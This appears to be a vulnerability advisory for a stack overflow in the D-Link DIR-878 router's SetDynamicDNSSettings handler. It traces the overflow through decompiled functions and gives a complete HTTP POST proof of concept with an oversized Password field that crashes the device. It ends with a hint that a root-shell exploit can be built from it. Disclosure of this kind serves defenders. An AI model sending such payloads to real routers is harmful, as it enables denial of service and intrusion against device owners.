D-Link DIR-878 was discovered stack overflow in the SetDynamicDNSSettings module

tags: D-Link DIR-878

vendor:D-Link

product:DIR-878

version:DIR_878_FW1.30B08.bin

type:Stack Overflow

author:Yifeng Li, Wolin Zhuang;

Vulnerability Description

D-Link DIR-878 DIR_878_FW1.30B08.bin was discovered to contain a stack overflow via the Password parameter in the SetDynamicDNSSettings module.

Vulnerability Details

In module SetDynamicDNSSettings,the content obtained by the programe through /SetDynamicDNSSettings/Password is passed to v3, which is controllable for attacker and copied to variable v9 which is passed into fuction decrypt_aes as a parameter.

After that, it is passed into function sub_426D74 as the first parameter as a2.Besides, we notice that local variable v6 is placed on the stack, which is also passed into function sub_426D74 as the second parameter.

In function sub_426D74, the for loop from line 26 to line 32, first copy a1 to v7 then strtol transfer v7 to a2, which briefly, a2 equals hexdecode(a1).Let's start over again, a1, comes from a2 in function decrypt_aes, a variable is controllable to the attacker.And a2 comes from v6 in function decrypt_aes which is placed on the stack, so when we copy a1 to a2 in sub_426D74, we are basically putting v4's value into v6, which leads to a stack overflow vulnerbility .

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Install firmware DIR_878_FW1.30B08.bin to router DIR878
2. Login to 192.168.0.1 as admin
3. Attack with the following POC
   

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 783
Accept: text/xml
HNAP_AUTH: 76938F6050F5B10E033565E930DCAE69 1675665318518
SOAPACTION: "http://purenetworks.com/HNAP1/SetDynamicDNSSettings"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Content-Type: text/xml
Origin: http://192.168.0.1
Referer: http://192.168.0.1/DynamicDNS.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=gL5VUQQK
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SetDynamicDNSSettings xmlns="http://purenetworks.com/HNAP1/"> 
			<Enabled>true</Enabled>
			<ServerAddress>dlinkddns.com</ServerAddress>
			<Hostname>admin</Hostname>
			<Username>admin</Username>
			<Password>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</Password>
			<Timeout>24</Timeout>
		</SetDynamicDNSSettings>
	</soap:Body>
</soap:Envelope>

By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service.

And you can write your own exp to get the root shell.